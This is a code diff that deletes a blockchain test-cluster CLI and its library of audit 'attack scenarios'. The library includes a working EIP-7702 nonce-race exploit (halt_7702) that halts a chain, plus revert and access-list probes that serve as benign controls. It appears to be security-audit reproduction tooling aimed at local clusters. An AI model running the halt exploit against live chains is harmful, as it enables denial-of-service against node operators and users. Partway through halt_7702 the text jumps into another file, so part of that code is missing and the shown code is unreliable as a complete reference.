_run_script("start.sh", ["--config", cfg], env=env) - - log(f"等待 RPC 就绪 {cp.rpc_url()} ...") - if not _wait_rpc(w3, timeout=90): - log(f"RPC 未在 90s 内就绪,请检查日志: gnode logs --preset {cp.name} --instance {cp.instance} --which reth") - return 1 - log(f"集群已就绪:{cp.name} inst={cp.instance} RPC={cp.rpc_url()} chainId={w3.eth.chain_id} block={w3.eth.block_number} prague={cp.prague}") - return 0 - - -def cmd_down(preset, *, instance: int = 0) -> int: - cp = resolve_cluster(preset, int(instance)) - _run_script("stop.sh", ["--config", str(cp.cluster_toml)], env=_script_env(cp), check=False) - log(f"已发送停止命令({cp.name} inst={cp.instance})") - return 0 - - -def cmd_status(preset, *, instance: int = 0, show_all: bool = False) -> int: - from .env import PRESETS, MAX_INSTANCES - names = list(PRESETS) if show_all else [preset] - for name in names: - # 指定 --instance 时只看那一个;否则(含 show_all)列出所有 base_dir 存在的 instance(0 号始终列) - if not show_all and instance: - insts = [int(instance)] - else: - insts = [i for i in range(MAX_INSTANCES) - if i == 0 or Path(f"/tmp/gnode-{resolve_cluster(name).name}{'' if i == 0 else f'-{i}'}").exists()] - for inst in insts: - cp = resolve_cluster(name, inst) - for nid in cp.node_ids(): - w3 = make_web3(cp.rpc_url(nid), timeout=3) - alive = _pid_alive(cp.pid_file(nid)) - block = "-" - try: - block = str(int(w3.eth.block_number)) - except Exception: - pass - print(f"{cp.name:<8} inst={inst:<3} {cp.rpc_url(nid):<28} {('up' if alive else 'down'):<6} block={block}") - return 0 - - -def cmd_logs(preset, which: str, follow: bool, lines: int, *, instance: int = 0) -> int: - cp = resolve_cluster(preset, int(instance)) - # 默认第一个节点 - nid = cp.node_ids()[0] - files = cp.log_files(nid) - targets = list(files.values()) if which == "all" else [files[which]] - targets = [t for t in targets if t.exists()] - if not targets: - log(f"无日志文件(which={which}):{[str(files[k]) for k in files]}") - return 1 - cmd = ["tail", f"-n{lines}"] - if follow: - cmd.append("-F") - cmd += [str(t) for t in targets] - return subprocess.run(cmd).returncode - - -def cmd_state(preset, addr: str, *, instance: int = 0) -> int: - cp = resolve_cluster(preset, int(instance)) - w3 = make_web3(cp.rpc_url()) - try: - addr = Web3.to_checksum_address(addr) - except Exception: - raise ValueError(f"地址不合法: {addr!r}(需为 0x 开头的 40 位十六进制地址)") - node_id = cp.node_ids()[0] - - # 先判可达性:RPC 连不上就直接报明确状态(down/unreachable),不跑 halt 探测、不误报 panic - if not _rpc_up(w3): - proc_up = _pid_alive(cp.pid_file(node_id)) - out = { - "address": addr, - "reachable": False, - "node_process": "up" if proc_up else "down", - "detail": (f"进程在但 RPC 无响应(疑似 halt),先 `gnode up --preset {cp.name} --fresh`" - if proc_up else f"节点未运行,先 `gnode up --preset {cp.name}`"), - } - print(json.dumps(out, indent=2, ensure_ascii=False)) - return 2 - - out = {"address": addr, "reachable": True} - out["balance_wei"] = int(w3.eth.get_balance(addr)) - out["balance_eth"] = float(w3.from_wei(out["balance_wei"], "ether")) - out["nonce"] = int(w3.eth.get_transaction_count(addr)) - code = w3.eth.get_code(addr) - out["code_size"] = len(code) - out["code"] = code.to_0x_hex() if code else "0x" - # 附带一次快速 halt 探测(此时 RPC 已知可达) - probe = probe_liveness(w3, window_s=6.0, pid_alive=lambda: _pid_alive(cp.pid_file(node_id))) - out["liveness"] = probe.as_dict() - print(json.dumps(out, indent=2, ensure_ascii=False)) - return 0 - - -def _load_artifact(path: Path) -> tuple[Optional[list], str]: - """支持 {abi,bytecode} JSON 或纯 bytecode(.hex/.txt/.bin)。返回 (abi, bytecode_hex)。""" - raw = path.read_text().strip() - if raw.startswith("{"): - obj = json.loads(raw) - bytecode = obj.get("bytecode") or obj.get("bin") or obj.get("object") - if isinstance(bytecode, dict): # solc 标准输出 {object: ...} - bytecode = bytecode.get("object") - abi = obj.get("abi") - if not bytecode: - raise ValueError(f"artifact 缺少 bytecode: {path}") - return abi, bytecode if bytecode.startswith("0x") else "0x" + bytecode - # 纯 bytecode - return None, raw if raw.startswith("0x") else "0x" + raw - - -def send_raw_deploy(w3: Web3, acct, bytecode: str, *, gas: Optional[int] = None) -> dict: - """用原始 bytecode 部署(不依赖 ABI)。返回 {tx_hash, contract, status, block, gas_used}。""" - fees = suggest_fees(w3) - tx = { - "from": acct.address, - "nonce": w3.eth.get_transaction_count(acct.address), - "data": bytecode, - "value": 0, - "chainId": w3.eth.chain_id, - **fees, - } - tx["gas"] = gas or int(w3.eth.estimate_gas(tx) * 12 // 10) - signed = acct.sign_transaction(tx) - h = w3.eth.send_raw_transaction(signed.raw_transaction) - rcpt = w3.eth.wait_for_transaction_receipt(h, timeout=120) - return { - "tx_hash": h.to_0x_hex(), - "contract": rcpt.get("contractAddress"), - "status": int(rcpt["status"]), - "block": int(rcpt["blockNumber"]), - "gas_used": int(rcpt["gasUsed"]), - } - - -def _checksum_addrs(v): - """递归把「恰好 20 字节的 0x 十六进制串」规范成 EIP-55 checksum 地址, - 其余原样(bytes4 之类短 hex 不动)。让 deploy --args 像 send 一样容忍小写地址。""" - if isinstance(v, str) and len(v) == 42 and v.startswith("0x"): - try: - int(v, 16) - return Web3.to_checksum_address(v) - except ValueError: - return v - if isinstance(v, list): - return [_checksum_addrs(x) for x in v] - return v - - -def cmd_deploy(preset, artifact_path: str, *, args_json: Optional[str] = None, instance: int = 0) -> int: - cp = resolve_cluster(preset, int(instance)) - w3 = make_web3(cp.rpc_url()) - rc = _require_rpc(cp, w3) - if rc is not None: - return rc - abi, bytecode = _load_artifact(Path(artifact_path)) - acct = faucet_account() - - if args_json: - ctor_args = json.loads(args_json) - if not isinstance(ctor_args, list): - raise ValueError("--args 需为 JSON 数组,如 '[42,\"0xabc\"]'") - if not abi: - raise ValueError("传了 --args 但 artifact 无 abi,无法编码构造函数参数(请用带 abi 的 artifact)") - # 用 abi 把构造参数编码进 initcode(data_in_transaction 已是 0x 十六进制串); - # 先把地址型参数规范成 checksum,容忍小写地址(与 send 的 to 处理一致) - contract = w3.eth.contract(abi=abi, bytecode=bytecode) - bytecode = contract.constructor(*_checksum_addrs(ctor_args)).data_in_transaction - log(f"从 {acct.address} 部署 {artifact_path}(构造参数 {ctor_args})...") - else: - log(f"从 {acct.address} 部署 {artifact_path} ...") - - res = send_raw_deploy(w3, acct, bytecode) - print(json.dumps(res, indent=2, ensure_ascii=False)) - return 0 if res["status"] == 1 else 2 - - -def cmd_send(preset, tx_path: str, *, no_wait: bool = False, instance: int = 0) -> int: - """tx.json 规格见 `gnode send --help`。支持 type(2/1/4)、accessList、authorizationList、 - raw(已签名原始交易) 与 --no-wait(不等回执,用于同块/连发)。缺省用 faucet 签名。""" - cp = resolve_cluster(preset, int(instance)) - w3 = make_web3(cp.rpc_url()) - rc = _require_rpc(cp, w3) - if rc is not None: - return rc - spec = json.loads(Path(tx_path).read_text()) - - # 拒绝未知/拼错的字段,避免像把 "value" 写成 "valeu" 这种被静默忽略 - known = {"to", "value", "data", "nonce", "gas", "gasPrice", "type", "accessList", - "authorizationList", "raw", "privkey"} - unknown = set(spec) - known - if unknown: - raise ValueError(f"tx.json 含未知字段 {sorted(unknown)};合法字段: {sorted(known)}") - - # 已签名原始交易:直接广播,忽略其他字段 - if spec.get("raw"): - raw = spec["raw"] - h = w3.eth.send_raw_transaction(raw if raw.startswith("0x") else "0x" + raw) - return _report_sent(w3, h, no_wait, sender=None, to=None) - - acct = Account.from_key(spec["privkey"]) if spec.get("privkey") else faucet_account() - # value 友好校验:接受十进制或 0x 十六进制,必须非负 - raw_val = spec.get("value", 0) - try: - value = int(raw_val, 0) if isinstance(raw_val, str) else int(raw_val) - except (ValueError, TypeError): - raise ValueError(f"value={raw_val!r} 需为非负整数(十进制或 0x 十六进制)") - if value < 0: - raise ValueError(f"value={value} 非法:需为非负整数") - if value >= 2 ** 256: - raise ValueError(f"value 超出 uint256 上限({value} ≥ 2^256)") - tx: dict = { - "from": acct.address, - "chainId": w3.eth.chain_id, - "nonce": spec.get("nonce", w3.eth.get_transaction_count(acct.address)), - "value": value, - } - if spec.get("to"): - try: - tx["to"] = Web3.to_checksum_address(spec["to"]) - except Exception: - raise ValueError(f"to={spec['to']!r} 不是合法地址") - if spec.get("data"): - tx["data"] = spec["data"] - req_type = int(spec["type"]) if spec.get("type") is not None else None - # 0(legacy) 不能带 type 字段(eth_account 不认 type=0);1/2/4 显式设置 - if req_type not in (None, 0): - tx["type"] = req_type - if req_type == 1: - tx.setdefault("accessList", []) # type-1(EIP-2930) 需带 accessList 字段 - if spec.get("accessList") is not None: - tx["accessList"] = spec["accessList"] - if spec.get("authorizationList") is not None: - # type-4 SetCode:已签名的授权(带 r/s/yParity)直接用;未签名的(给 delegate+signerKey)自动签, - # 免去手写 eth_account 的 auth 签名。self-sponsored(签名者即发送者)时 auth.nonce 默认 = tx.nonce+1。 - tx["authorizationList"] = _prepare_auth_list(w3, spec["authorizationList"], tx, acct) - tx["type"] = req_type = 4 - # 7702 SetCode 交易必须有 to(不允许合约创建)且需带 accessList 字段;缺省补上 - tx.setdefault("to", acct.address) - tx.setdefault("accessList", []) - # gas 费按交易类型区分:type 0/1(legacy/access-list)用 gasPrice;type 2(默认)/4 用 EIP-1559 三件套 - fees = suggest_fees(w3) - if req_type in (0, 1): - gp = spec.get("gasPrice") - tx["gasPrice"] = (int(gp, 0) if isinstance(gp, str) else int(gp)) if gp is not None else fees["maxFeePerGas"] - else: - tx.update(fees) - try: - tx["gas"] = spec.get("gas") or int(w3.eth.estimate_gas(tx) * 12 // 10) - except Exception: - # 部分 type-4/自定义交易 estimate 会失败,给个保守默认,允许 spec 覆盖 - tx["gas"] = spec.get("gas") or 500000 - - signed = acct.sign_transaction(tx) - h = w3.eth.send_raw_transaction(signed.raw_transaction) - return _report_sent(w3, h, no_wait, sender=acct.address, to=tx.get("to")) - - -def _prepare_auth_list(w3: Web3, entries: list, tx: dict, tx_signer) -> list: - """把 authorizationList 里未签名的条目自动签好(reuse gravity_e2e.utils.eip7702)。 - - 条目二选一: - 已签名: {chainId,address,nonce,yParity,r,s} —— 原样返回。 - 待签名: {delegate|address, signerKey, nonce?} —— 用 signerKey 签 delegate; - nonce 缺省:签名者==发送者(self-sponsored)时取 tx.nonce+1,否则取签名者当前 nonce。 - """ - from gravity_e2e.utils.eip7702 import sign_authorization - - chain_id = tx["chainId"] - out = [] - for e in entries: - if "r" in e and "s" in e: # 已签名,原样用 - out.append(e) - continue - signer_key = e.get("signerKey") or e.get("privkey") - if not signer_key: - raise ValueError("authorizationList 条目未签名且缺 signerKey,无法自动签名") - signer = Account.from_key(signer_key) - delegate = Web3.to_checksum_address(e.get("delegate") or e["address"]) - if "nonce" in e: - nonce = int(e["nonce"]) - elif signer.address.lower() == tx_signer.address.lower(): - nonce = int(tx["nonce"]) + 1 # self-sponsored:发送者 nonce 先自增,auth 要 +1 - else: - nonce = w3.eth.get_transaction_count(signer.address) - out.append(sign_authorization(signer, chain_id=chain_id, delegate=delegate, nonce=nonce)) - return out - - -def _report_sent(w3: Web3, h, no_wait: bool, *, sender, to) -> int: - tx_hash = h.to_0x_hex() - if no_wait: - log(f"已发送 tx {tx_hash}(--no-wait,不等回执)") - print(json.dumps({"tx_hash": tx_hash, "waited": False, "from": sender, "to": to}, - indent=2, ensure_ascii=False)) - return 0 - log(f"已发送 tx {tx_hash},等待回执 ...") - rcpt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120) - out = { - "tx_hash": tx_hash, - "status": int(rcpt["status"]), - "block": int(rcpt["blockNumber"]), - "gas_used": int(rcpt["gasUsed"]), - # raw 交易我们不知道 from/to,从回执补回(普通路径 sender/to 已知则优先用) - "from": sender or rcpt.get("from"), - "to": to if to is not None else rcpt.get("to"), - } - print(json.dumps(out, indent=2, ensure_ascii=False)) - return 0 if out["status"] == 1 else 2 diff --git a/tools/gnode/gnodelib/scenarios/__init__.py b/tools/gnode/gnodelib/scenarios/__init__.py deleted file mode 100644 index 2b28d70f..00000000 --- a/tools/gnode/gnodelib/scenarios/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""内置攻击场景库。每个场景把一个已审出的漏洞变成可一键复现的 gnode attack。""" diff --git a/tools/gnode/gnodelib/scenarios/_common.py b/tools/gnode/gnodelib/scenarios/_common.py deleted file mode 100644 index e067ebd9..00000000 --- a/tools/gnode/gnodelib/scenarios/_common.py +++ /dev/null @@ -1,38 +0,0 @@ -"""场景共用小工具:签发原始交易、RPC 可达性、起手健康检查。 - -所有场景都应复用 `preflight_error`:起手就不健康 = 环境问题(ERROR), -不是本次探测/攻击造成的 halt/panic —— 否则会把「集群本来就没起」误报成「命中链停」。 -""" -from __future__ import annotations - -from typing import Optional - -from web3 import Web3 - -from ..ops import _pid_alive -from ..verdict import Verdict - - -def send_raw(w3: Web3, acct, tx: dict) -> str: - signed = acct.sign_transaction(tx) - return w3.eth.send_raw_transaction(signed.raw_transaction).to_0x_hex() - - -def rpc_ok(w3: Web3) -> bool: - try: - _ = w3.eth.block_number - return True - except Exception: - return False - - -def preflight_error(cp, w3: Web3) -> Optional[dict]: - """起手健康检查。不健康返回 {verdict: error, detail}(供场景直接 return),健康返回 None。""" - node_id = cp.node_ids()[0] - if not _pid_alive(cp.pid_file(node_id)): - return {"verdict": Verdict.ERROR.value, - "detail": f"起手节点进程就未运行(可能被上次攻击打挂);先 `gnode up --preset {cp.name} --fresh` 再打"} - if not rpc_ok(w3): - return {"verdict": Verdict.ERROR.value, - "detail": f"起手进程在但 RPC 无响应(疑似残留 halt);先 `gnode up --preset {cp.name} --fresh` 再打"} - return None diff --git a/tools/gnode/gnodelib/scenarios/accesslist_probe.py b/tools/gnode/gnodelib/scenarios/accesslist_probe.py deleted file mode 100644 index 7473d63c..00000000 --- a/tools/gnode/gnodelib/scenarios/accesslist_probe.py +++ /dev/null @@ -1,100 +0,0 @@ -"""accesslist-probe —— EIP-2930(type 1)access-list 交易是否被正常处理。 - -探测目的:确认一笔带 accessList 的 type-1 交易能正常落块(receipt.status=1)、 -链继续出块(verdict=alive),以此作为「typed-tx 通路健康」的正对照——与 7702(type 4) -的 NonceTooLow panic 形成对比,帮助审计区分「typed-tx 本身能跑」和「特定类型触发的执行层缺陷」。 - -做法(全部走 gnode 现有 primitive 能力): - 1) 部署一个 SSTORE 合约 S(写一个 slot 后 STOP)。 - 2) faucet 发一笔 type=1、带 accessList(预热 S 的 slot 0)的交易调用 S。 - 3) probe_liveness 观察链是否仍在出块,并读回执判定 alive vs halt/panic。 -""" -from __future__ import annotations - -from web3 import Web3 - -from ..env import faucet_account, make_web3, resolve_cluster, suggest_fees -from ..ops import _pid_alive -from ..verdict import Verdict, probe_liveness -from ._common import preflight_error, send_raw as _send_raw - -# 运行时: PUSH1 1 PUSH1 0 SSTORE STOP (写 slot0=1 后停) -# init: CODECOPY 出 6 字节 runtime 并 RETURN -SSTORE_INITCODE = "0x6006600c60003960066000f3600160005500" - -PARAMS = {"window": float} # 观察窗口秒数 - - -def run(*, preset, instance: int = 0, params: dict) -> dict: - cp = resolve_cluster(preset, int(instance)) - w3 = make_web3(cp.rpc_url()) - node_id = cp.node_ids()[0] - pid_alive = lambda: _pid_alive(cp.pid_file(node_id)) - - result: dict = {"scenario": "accesslist-probe", "expected": "alive", "rpc": cp.rpc_url()} - err = preflight_error(cp, w3) - if err: - result.update(err) - return result - - chain_id = w3.eth.chain_id - faucet = faucet_account() - fees = suggest_fees(w3) - steps: list[str] = [] - - # 1) 部署 SSTORE 合约 S - dep_tx = { - "from": faucet.address, "data": SSTORE_INITCODE, "value": 0, - "nonce": w3.eth.get_transaction_count(faucet.address), "gas": 200000, - "chainId": chain_id, **fees, - } - dep_rcpt = w3.eth.wait_for_transaction_receipt(_send_raw(w3, faucet, dep_tx), timeout=60) - S = dep_rcpt["contractAddress"] - if not S or int(dep_rcpt["status"]) != 1: - result["verdict"] = "error" - result["detail"] = f"部署 SSTORE 合约失败: {dict(dep_rcpt)}" - return result - result["sstore_contract"] = S - steps.append(f"部署 SSTORE 合约 S={S}") - - # 2) 发一笔 type=1(EIP-2930)交易,accessList 预热 S 的 slot0 - call_tx = { - "type": 1, - "from": faucet.address, "to": S, "value": 0, "data": "0x", - "nonce": w3.eth.get_transaction_count(faucet.address), "gas": 100000, - "gasPrice": fees.get("maxFeePerGas") or w3.eth.gas_price, - "chainId": chain_id, - "accessList": [ - {"address": S, "storageKeys": ["0x" + "00" * 32]}, - ], - } - call_hash = _send_raw(w3, faucet, call_tx) - steps.append(f"发送 type-1 access-list 调用 tx={call_hash}") - - # 3) 判定:链是否仍在出块 - window = float(params.get("window", 8)) - probe = probe_liveness(w3, window_s=window, min_delta=1, pid_alive=pid_alive) - result["liveness"] = probe.as_dict() - - verdict = probe.verdict - detail = probe.detail - if verdict == Verdict.ALIVE: - try: - r = w3.eth.get_transaction_receipt(call_hash) - status = int(r["status"]) - result["call_receipt"] = { - "status": status, "block": int(r["blockNumber"]), - "type": int(r.get("type", 0)), - } - detail = ( - "链存活;type-1 access-list 交易正常落块(status=1)" - if status == 1 else - f"链存活,但 type-1 交易 status={status}(非预期)" - ) - except Exception as e: - detail = f"链存活但读回执失败: {e}" - - result["verdict"] = verdict.value - result["detail"] = detail - result["steps"] = steps - return result diff --git a/tools/gnode/gnodelib/scenarios/halt_7702.py b/tools/gnode/gnodelib/scenarios/halt_7702.py deleted file mode 100644 index 9b8c8614..00000000 --- a/tools/gnode/gnodelib/scenarios/halt_7702.py +++ /dev/null @@ -1,219 +0,0 @@ -"""7702-halt —— EIP-7702 委托码 CREATE 抬升 nonce,同块 nonce 竞争打停链。 - -漏洞机理(对应 gravity-audit 7702 nonce 竞争): - - EOA A 委托到合约 T,T 的运行时代码里含 CREATE。 - - 同一个区块内放两笔来自 A 的连续 nonce 交易: - tx0 (from=A, to=A, nonce=N) —— 执行时先把 A.nonce N→N+1(交易自增), - 再因委托码 CREATE 把 A.nonce N+1→N+2。 - tx1 (from=A, nonce=N+1) —— 入池时 A.nonce=N,(N, N+1) 是合法连续序列被放行; - 但轮到执行时 A.nonce 已是 N+2 > N+1 → revm NonceTooLow。 - - 被准入门放行、却在执行层 NonceTooLow 的已入块交易,会让 pipe 执行不可恢复 → 出块停摆(halt)。 - -为什么用「同一发送者 A 的连续 nonce」而不是跨发送者:同发送者的多笔交易在区块内 -恒按 nonce 排序且会被打进同一个块,从而确定性地保证 tx0 先于 tx1、且同块—— -比「tx0 to=A 由他人发」的跨发送者排序更可靠地复现。 - -判定:注入后用 probe_liveness 观察出块是否停摆(halt/panic)还是继续(alive/revert)。 -""" -from __future__ import annotations - -from eth_account import Account -from web3 import Web3 - -from gravity_e2e.utils.eip7702 import build_signed_set_code_tx, sign_authorization - -from ..env import faucet_account, make_web3, resolve_cluster, suggest_fees -from ..ops import _pid_alive -from ..verdict import Verdict, probe_liveness -from ._common import preflight_error - -PARAMS = {"attempts": int, "window": float} # attempts=注入重试次数, window=每次观察窗口秒数 - -# T 的运行时代码无条件执行 CREATE(0,0,0) 后 STOP —— 委托执行时抬升 A.nonce。 -# runtime: PUSH1 0 (size) PUSH1 0 (offset) PUSH1 0 (value) CREATE POP STOP -# init: CODECOPY 出上面 9 字节 runtime 并 RETURN -CREATE_CONTRACT_INITCODE = "0x6009600c60003960096000f3600060006000f05000" - -DESIGNATOR_PREFIX = bytes.fromhex("ef0100") # EIP-7702 delegation designator - - -def _send_raw(w3: Web3, acct, tx: dict) -> str: - signed = acct.sign_transaction(tx) - return w3.eth.send_raw_transaction(signed.raw_transaction).to_0x_hex() - - -def _receipt(w3: Web3, tx_hash: str): - try: - r = w3.eth.get_transaction_receipt(tx_hash) - return { - "status": int(r["status"]), - "block": int(r["blockNumber"]), - "tx_index": int(r["transactionIndex"]), - "gas_used": int(r["gasUsed"]), - } - except Exception: - return None - - -def _wait_nonce(w3: Web3, addr: str, target: int, timeout: int = 30) -> None: - import time - deadline = time.time() + timeout - while time.time() < deadline: - if w3.eth.get_transaction_count(addr) >= target: - return - time.sleep(0.5) - - -def _deploy_target(w3: Web3, faucet, chain_id: int, fees: dict) -> tuple[str, dict]: - """部署含 CREATE 的委托目标 T(整个场景只需一次)。返回 (T_addr | "", err)。""" - dep_tx = { - "from": faucet.address, "data": CREATE_CONTRACT_INITCODE, "value": 0, - "nonce": w3.eth.get_transaction_count(faucet.address), "gas": 200000, - "chainId": chain_id, **fees, - } - dep_hash = _send_raw(w3, faucet, dep_tx) - r = w3.eth.wait_for_transaction_receipt(dep_hash, timeout=60) - T = r["contractAddress"] - if not T or int(r["status"]) != 1: - return "", {"detail": f"部署 CREATE 目标合约失败: {dict(r)}"} - return T, {} - - -def _setup_delegation(w3: Web3, faucet, A, T: str, chain_id: int) -> dict: - """给 A 装 7702 委托(faucet 代付;to=无码地址,避免此步就触发 CREATE)。""" - a_nonce0 = w3.eth.get_transaction_count(A.address) - auth = sign_authorization(A, chain_id=chain_id, delegate=T, nonce=a_nonce0) - inner_target = Account.create().address - fee = max(w3.eth.gas_price * 2, w3.to_wei(50, "gwei")) - raw = build_signed_set_code_tx( - faucet, chain_id=chain_id, nonce=w3.eth.get_transaction_count(faucet.address), - to=inner_target, authorization_list=[auth], gas=200000, - max_fee_per_gas=fee, max_priority_fee_per_gas=fee, - ) - h = w3.eth.send_raw_transaction(raw).to_0x_hex() - r = w3.eth.wait_for_transaction_receipt(h, timeout=60) - code = bytes(w3.eth.get_code(A.address)) - ok = int(r["status"]) == 1 and code.startswith(DESIGNATOR_PREFIX) - return {"ok": ok, "code": code.hex(), "nonce": w3.eth.get_transaction_count(A.address)} - - -def _inject_race(w3: Web3, faucet, A, chain_id: int) -> dict: - """跨发送者同块注入 tx1(from=A, stale) + tx0(faucet→A 触发 CREATE, 高小费排前)。""" - N = w3.eth.get_transaction_count(A.address) - head_before = w3.eth.block_number - base = w3.eth.get_block("latest").get("baseFeePerGas") or w3.to_wei(50, "gwei") - lo, hi = w3.to_wei(2, "gwei"), w3.to_wei(200, "gwei") - sink = Account.create().address - tx1 = { - "from": A.address, "to": sink, "value": 0, "nonce": N, "gas": 40000, - "chainId": chain_id, "maxPriorityFeePerGas": lo, "maxFeePerGas": base * 2 + lo, - } - tx0 = { - "from": faucet.address, "to": A.address, "value": 0, "data": "0x", - "nonce": w3.eth.get_transaction_count(faucet.address), "gas": 500000, - "chainId": chain_id, "maxPriorityFeePerGas": hi, "maxFeePerGas": base * 2 + hi, - } - tx1_hash = _send_raw(w3, A, tx1) # 先把 A 的在途交易灌进池 - tx0_hash = _send_raw(w3, faucet, tx0) # 再发高小费触发交易,争取同块且排在 tx1 前 - return {"N": N, "head_before": head_before, "tx0_faucet_to_A": tx0_hash, "tx1_from_A_stale": tx1_hash} - - -def run(*, preset, instance: int = 0, params: dict) -> dict: - cp = resolve_cluster(preset, int(instance)) - w3 = make_web3(cp.rpc_url()) - faucet = faucet_account() - node_id = cp.node_ids()[0] - pid_alive = lambda: _pid_alive(cp.pid_file(node_id)) - result: dict = {"scenario": "7702-halt", "expected": "halt", "rpc": cp.rpc_url()} - - # —— 健康检查必须放在任何 RPC 调用之前(打挂后再跑会命中这里,而不是抛 traceback)—— - err = preflight_error(cp, w3) - if err: - result.update(err) - return result - - chain_id = w3.eth.chain_id - result["chain_id"] = chain_id - fees = suggest_fees(w3) - steps: list[str] = [] - attempts = int(params.get("attempts", 3)) - if attempts < 1: - result["verdict"] = Verdict.ERROR.value - result["detail"] = f"attempts 需为 ≥1 的整数,得到 {attempts}" - return result - - # 委托目标 T 只需部署一次 - T, err = _deploy_target(w3, faucet, chain_id, fees) - if not T: - result["verdict"] = Verdict.ERROR.value - result["detail"] = err["detail"] - return result - result["delegate_target"] = T - steps.append(f"部署委托目标 T={T}(运行时含 CREATE)") - - # 竞争是否成形依赖块内共存 + 排序(跨发送者按小费排序,非 100% 稳),故重试若干次。 - window = float(params.get("window", 20)) - tries = [] - for i in range(1, attempts + 1): - A = Account.create() - # 充钱 - fund = { - "from": faucet.address, "to": A.address, "value": w3.to_wei(10, "ether"), - "nonce": w3.eth.get_transaction_count(faucet.address), "gas": 21000, - "chainId": chain_id, **fees, - } - _send_raw(w3, faucet, fund) - _wait_nonce(w3, faucet.address, fund["nonce"] + 1) - - setup = _setup_delegation(w3, faucet, A, T, chain_id) - if not setup["ok"]: - result["verdict"] = Verdict.ERROR.value - result["detail"] = f"安装 7702 委托失败: code={setup['code']}" - result["steps"] = steps - return result - - race = _inject_race(w3, faucet, A, chain_id) - probe = probe_liveness(w3, window_s=window, min_delta=2, pid_alive=pid_alive) - attempt_rec = {"attempt": i, "attacker_eoa": A.address, "nonce_race": race, - "liveness": probe.as_dict()} - - # 命中:链停 / 进程崩 —— 直接结案 - if probe.verdict in (Verdict.HALT, Verdict.PANIC): - r0, r1 = _receipt(w3, race["tx0_faucet_to_A"]), _receipt(w3, race["tx1_from_A_stale"]) - attempt_rec["receipts"] = {"tx0": r0, "tx1": r1} - tries.append(attempt_rec) - steps.append(f"[try {i}] 命中:{probe.detail}") - result.update({"verdict": probe.verdict.value, "detail": probe.detail, - "attacker_eoa": A.address, "nonce_race": race, - "liveness": probe.as_dict(), "attempts_made": i, "tries": tries, "steps": steps}) - return result - - # 链还活着:检查竞争是否真的成形(tx0、tx1 同块且 tx0 在前) - r0, r1 = _receipt(w3, race["tx0_faucet_to_A"]), _receipt(w3, race["tx1_from_A_stale"]) - attempt_rec["receipts"] = {"tx0": r0, "tx1": r1} - tries.append(attempt_rec) - race_formed = bool(r0 and r1 and r0["block"] == r1["block"] and r0["tx_index"] < r1["tx_index"]) - if race_formed: - # 真的同块按序注入了,链却没停 —— 说明该路径已被缓解/修复 - if r1 and r1["status"] == 0: - verdict, detail = Verdict.REVERT, "竞争已成形(tx0/tx1 同块且 tx0 在前),tx1 被优雅回滚,链不停 —— 修复生效" - else: - verdict, detail = Verdict.ALIVE, "竞争已成形但链继续出块 —— 该路径已被缓解/修复" - steps.append(f"[try {i}] 竞争成形但未 halt:{detail}") - result.update({"verdict": verdict.value, "detail": detail, "attacker_eoa": A.address, - "nonce_race": race, "liveness": probe.as_dict(), - "attempts_made": i, "tries": tries, "steps": steps}) - return result - - # 竞争没成形(未同块 / 顺序反了)—— 重试 - why = "两笔未落在同一区块" if (r0 and r1 and r0["block"] != r1["block"]) else "块内顺序不满足 tx0 运行函数。""" -from __future__ import annotations - -from typing import Callable - -from . import halt_7702 -from . import revert_probe -from . import accesslist_probe - -# name -> (描述, 运行函数(nodes:int, params:dict)->dict) -_SCENARIOS: dict[str, tuple[str, Callable]] = { - "7702-halt": ( - "EIP-7702 委托到含 CREATE 的合约,同块 nonce 竞争触发 revm NonceTooLow → 链停", - halt_7702.run, - ), - "revert-probe": ( - "部署永远 revert 的合约并调用,验证普通 EVM revert 被优雅处理(链不停)", - revert_probe.run, - ), - "accesslist-probe": ( - "发一笔 EIP-2930 type-1 access-list 交易,验证 typed-tx 通路健康、链不停(正对照)", - accesslist_probe.run, - ), -} - - -def list_scenarios() -> list[tuple[str, str]]: - return [(name, desc) for name, (desc, _fn) in _SCENARIOS.items()] - - -def run(name: str, *, preset, instance: int = 0, params: dict) -> dict: - if name not in _SCENARIOS: - avail = ", ".join(_SCENARIOS) - return {"scenario": name, "verdict": "error", "detail": f"未知场景 '{name}'。可用: {avail}"} - _desc, fn = _SCENARIOS[name] - - # 按场景声明的 PARAMS 校验 + 强转参数:拒绝拼错/未知的 key,坏值给干净错误而非 traceback。 - import sys - spec = getattr(sys.modules.get(fn.__module__), "PARAMS", None) - if spec is not None: - clean: dict = {} - for k, v in params.items(): - if k not in spec: - return {"scenario": name, "verdict": "error", "usage_error": True, - "detail": f"未知场景参数 '{k}';{name} 支持: {sorted(spec) or '(无)'}"} - caster = spec[k] - try: - clean[k] = caster(v) - except (ValueError, TypeError): - return {"scenario": name, "verdict": "error", "usage_error": True, - "detail": f"参数 {k}={v!r} 无法转成 {getattr(caster, '__name__', caster)}"} - params = clean - - # 兜底:场景内部任何异常(如注入到一半节点被打挂、RPC 断开)都转成结构化结果, - # 而不是抛 traceback,保证 --json 契约永远成立。 - try: - return fn(preset=preset, instance=instance, params=params) - except Exception as e: # noqa: BLE001 —— 面向 agent 的工具,任何异常都要给结构化输出 - import traceback - return { - "scenario": name, - "verdict": "error", - "detail": f"场景执行抛异常: {type(e).__name__}: {e}", - "traceback": traceback.format_exc().splitlines()[-6:], - } diff --git a/tools/gnode/gnodelib/scenarios/revert_probe.py b/tools/gnode/gnodelib/scenarios/revert_probe.py deleted file mode 100644 index b0d5e9ca..00000000 --- a/tools/gnode/gnodelib/scenarios/revert_probe.py +++ /dev/null @@ -1,93 +0,0 @@ -"""revert-probe —— 普通 EVM revert 是否被优雅处理(对照 7702 的 NonceTooLow panic)。 - -探测目的:确认一笔「注定 revert 的调用」只会让该交易回滚(receipt.status=0), -链继续出块(verdict=revert / alive),而不会像执行层 NonceTooLow 那样把节点打 panic。 -用来把「交易级失败」与「共识/执行层不可恢复错误」区分开——审计时判断某个异常 -到底是良性 revert 还是真正的链级 DoS。 - -做法(全部走 gnode 现有 primitive 能力): - 1) 部署一个运行时永远 REVERT 的合约 R(PUSH1 0 PUSH1 0 REVERT)。 - 2) faucet 发一笔 to=R 的交易,预期执行时 revert。 - 3) probe_liveness 观察链是否仍在出块,并读回执判定 revert vs alive vs halt/panic。 -""" -from __future__ import annotations - -from web3 import Web3 - -from ..env import faucet_account, make_web3, resolve_cluster, suggest_fees -from ..ops import _pid_alive -from ..verdict import Verdict, probe_liveness -from ._common import preflight_error, send_raw as _send_raw - -# 运行时: PUSH1 0 PUSH1 0 REVERT (总是 revert) -# init: CODECOPY 出 5 字节 runtime 并 RETURN -REVERT_INITCODE 